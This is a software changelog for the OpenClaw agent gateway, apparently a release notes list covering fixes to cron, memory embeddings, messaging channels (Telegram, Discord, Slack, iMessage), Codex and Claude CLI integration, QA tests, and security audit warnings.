• Sessions: skip metadata-only entries during QMD-slugified session lookup so one incomplete row does not block transcript hit resolution. (#86327) Thanks @abnershang.

• Agents/media: derive bundled plugin local-media trust from plugin tool metadata instead of importing the full plugin registry on subscription paths. (#84409) Thanks @samzong.

• Image tool: keep config-backed custom-provider API keys usable for auto-discovered vision models, including deferred image-tool execution without env keys or auth profiles. (#85733)

• Memory/local embeddings: run local GGUF embeddings in an isolated worker sidecar and degrade to configured fallback or keyword search on worker failure so native embedding crashes do not take down the Gateway. (#85348) Thanks @osolmaz.

• Gateway: clear the runtime config snapshot before SIGUSR1 in-process restarts so config changes survive the next gateway loop. (#86388) Thanks @XuZehan-iCenter.

• Models: show OAuth delegation markers as configured models.json auth while keeping runtime route usability checks strict. (#86378) Thanks @rohitjavvadi.

• Cron: seed active scheduled and manual cron task rows with a progress summary so status surfaces do not look blank while jobs run. (#86313) Thanks @ferminquant.

• Cron: preserve unsupported persisted cron payload rows during routine store writes while keeping those rows non-runnable. Fixes #84922. (#86415) Thanks @IWhatsskill.

• Updater: exclude prerelease git tags from stable channel resolution so source updates do not check out newer alpha/rc/preview/canary tags. (#86260) Thanks @stevenepalmer.

• Security/Audit: flag webhook hooks.token reuse of active Gateway password auth in openclaw security audit while keeping password-mode startup compatibility. (#84338) Thanks @coygeek.

• QQBot: derive the outbound reply watchdog from configured agent and provider timeouts so slow local model replies are not cut off at five minutes. Fixes #85267. (#85271) Thanks @SymbolStar.

• Agents/heartbeat: stop heartbeat turns after the first valid heartbeat_respond so repeated response loops do not burn tokens. (#86357) Thanks @udaymanish6.

• Tasks: keep retained lost tasks out of default status health counts, explain their cleanup window during maintenance, and prune lost task records after 24 hours instead of the general 7-day terminal retention.

• Memory-core: keep REM dreaming focused on live light-staged memories and mark staged entries as considered so old recall history no longer dominates fresh candidates. (#86302) Thanks @SebTardif.

• Memory: abort sync instead of downgrading an existing semantic vector index to FTS-only when the configured embedding provider is temporarily unavailable. (#85704) Thanks @yaaboo-gif.

• Telegram: propagate forum topic names through the account-scoped topic cache for native command context and topic create/edit actions. (#86299) Thanks @SebTardif.

• Slack: keep downloaded read-only files out of reply media so Slack file reads do not echo files back to the conversation. (#86318) Thanks @neeravmakwana.

• Cron: accept leading-plus relative durations such as +5m for one-shot --at schedules. (#86341) Thanks @mushuiyu886.

• Agents/media: preserve async-started media tool metadata so background generation starts no longer surface generic incomplete-turn warnings while replay stays unsafe. (#85933) Thanks @fuller-stack-dev.

• Docker E2E: dedupe scheduler lane resources so npm/service package lanes are not over-counted and serialized unnecessarily.

• QA/diagnostics: add a collector-backed OpenTelemetry smoke lane, make the OTLP payload leak check scenario-aware, and keep source QA builds from failing on optional dependency imports resolved through pnpm's temp module path.

• Crabbox: bootstrap Git metadata for sparse remote changed gates so raw synced workspaces can run pnpm check:changed from the intended diff.

• xAI/LM Studio: avoid buffering ordinary bracketed or final prose until stream completion while watching for plain-text tool-call fallbacks.

• Doctor: warn and continue when the cron job store exists but cannot be read so later health checks still run. Fixes #86102. (#86384) Thanks @1052326311.

• Discord: suppress a bot's previous reply body and referenced media from prompt context when a user replies to that bot message, while keeping reply metadata for routing. (#86238) Thanks @fuller-stack-dev.

• Discord: restore bare numeric channel IDs for outbound message-tool sends while keeping explicit DM targets unambiguous. (#86571) Thanks @joshavant.

• Docker E2E: avoid rebuilding the Control UI twice while preparing the shared OpenClaw package tarball for package-backed scenario runs.

• Tests: avoid rebuilding the Control UI twice during the installer Docker smoke now that pnpm build includes ui:build.

• Tests: give QA config mutation RPCs enough native Windows budget to finish gateway config writes and restart settle after hot scenario runs.

• Tests: keep the gateway restart-inflight QA scenario focused on restart recovery on native Windows by allowing expected embedded prompt handoff errors and using the Windows-safe timeout budget.

• QA-Lab: make the synthetic OpenAI provider honor generic reply exactly: directives after required kickoff reads so restart-recovery scenarios do not fall through to generic repo-summary prose.

• Gateway: abort active agent RPC runs during forced restart shutdown so stale in-process turns cannot keep writing a session after the Gateway lifecycle restarts.

• Crabbox: sync clean sparse worktrees through a temporary full checkout even when reusing an existing lease so tracked build-time files are not omitted.

• Build: route scripts/ui.js through the shared pnpm runner and keep Control UI chunking helpers in sparse-included source so native Windows Corepack builds can produce dist/control-ui.

• Tests: give the memory fallback QA scenario enough turn budget to exercise native Windows gateway runs instead of failing on the client timeout while the mock agent is still dispatching.

• Tests: collect QA gateway CPU/RSS metrics on native Windows and give the channel baseline enough turn budget to report slow gateway runs instead of timing out before proof.

• Install/update: bypass npm min-release-age policies with --min-release-age=0 instead of --before so hosted installers keep working on npm versions that reject the combined config. (#84749) Thanks @TeodoroRodrigo.

• Diagnostics: reclaim wedged session lanes when stale active-run bookkeeping blocks queued work despite no forward progress. Fixes #85639. Thanks @openperf.

• WebChat: keep message-tool replies visible in the chat while still summarizing internal tool results for the model. Fixes #86347. Thanks @shakkernerd.

• Gateway/perf: fail startup benchmark samples when the Gateway process exits before benchmark teardown, including signal deaths after readiness probes.

• Gateway/perf: fail restart benchmark samples when the Gateway exits before benchmark teardown, including clean exits and signal deaths after successful restart probes.

• Agents/tests: keep model catalog visibility on static selection helpers so catalog visibility checks avoid the broad model-selection barrel import.

• Agents/commitments: serialize commitment store load-modify-save writes so concurrent heartbeat and CLI updates no longer lose dismissal, sent, or attempt state. (#81153) Thanks @ai-hpc.

• xAI/LM Studio: promote plain-text tool-call fallbacks into structured tool calls and strip leaked internal tool syntax before user-facing delivery. (#86222) Thanks @fuller-stack-dev.

• CLI: suppress benign self-update version-skew warnings during package post-update finalization.

• Gateway/perf: tighten restart and startup benchmark failure handling so long profiling runs, failed probes, and fresh Linux runners no longer produce false passing or n/a results.

• Checks: keep intentional Knip unused-file findings optional so full CI and sparse proof workspaces stay aligned.

• Docker: restore writable ~/.config in runtime images. Fixes #85968. Thanks @hkoessler and @Bartok9.

• Plugin SDK: keep legacy root diagnostic subscriptions connected when built plugin SDK aliases resolve diagnostic helpers through a separate module graph.

• Diagnostics: export alertable OTel and Prometheus signals for blocked tools, model failover, stale sessions, liveness warnings, oversized payloads, and webhook ingress while fixing shared OTLP endpoints with query strings.

• Tests: normalize macOS canonical temp paths in exec allowlists, fs-safe trash assertions, installed plugin matching, Telegram topic-name stores, and built ACPX MCP server expectations so native macOS proof runners cover the intended behavior.

• Codex/app-server: preserve message-tool-only source reply delivery mode on active runs so sub-agent completion wakeups can steer the active Codex turn instead of being rejected. (#86287) Thanks @ferminquant.

• Tests: sample the Windows kitchen-sink RPC gateway directly and serialize RSS probes so native runs keep the memory guard active.

• Tests: normalize bundled plugin lifecycle probe paths and state-root lookup so native Windows release sweeps accept valid packaged plugin installs.

• Agents/Claude CLI: route live native Bash permission requests through OpenClaw exec policy so Claude turns no longer stall on control_request, and document that OpenClaw exec policy is authoritative. Fixes #80819. (#86330, from #81971) Thanks @guthirry and @sallyom.

• Security audit: warn when YOLO OpenClaw exec policy overrides a restrictive raw Claude --permission-mode for managed live sessions. (#86557) Thanks @sallyom.

• Config: keep benign legacy metadata write anomalies out of default doctor and config command output while preserving explicit anomaly logging for diagnostics.

• Codex: log when implicit app-server never approvals are promoted for OpenClaw tool policy, including whether the trigger was a before_tool_call hook or trusted tool policy.

• Codex harness: make subscription usage-limit errors without reset times explain that OpenClaw cannot determine the reset and point users to wait until Codex is available, use another Codex account, or switch to another configured model/provider. Thanks @amknight.

• Google Vertex: support production ADC modes such as Workload Identity Federation, service-account credentials, and metadata-server ADC for the native Vertex transport. (#83971) Thanks @damianFelixPago.

• Telegram: route normal [telegram][diag] polling diagnostics through runtime.log while keeping non-diag warnings and persistence failures on runtime.error, so healthy polling startup no longer looks like an error. Fixes #82957. (#82958) Thanks @galiniliev.

• Providers/Ollama: strip inline Kimi cloud reasoning prefixes from streamed and final visible replies while keeping ordinary Kimi answers append-only. (#86286) Thanks @jason-allen-oneal.

• Gateway: require Talk secret authority before setup-code handoff can include Talk secrets. (#85690) Thanks @ngutman.

• Agents: keep fallback error reporting scoped to the active model candidate so stale prior-provider quota/auth text is not reported for later fallback attempts. (#86134) Thanks @zhangguiping-xydt.

• iMessage: dedupe watcher startup when channels.imessage.accounts lists both default and a named account that point at the same local Messages source, so the gateway no longer spawns two imsg rpc processes or doubles inbound replies; the dedupe is scoped to watcher startup, leaving duplicate accounts addressable for outbound sends, status, and capability listings, and openclaw doctor flags the redundant account with a rebinding hint. Fixes #65141. (#86705) Thanks @swang430.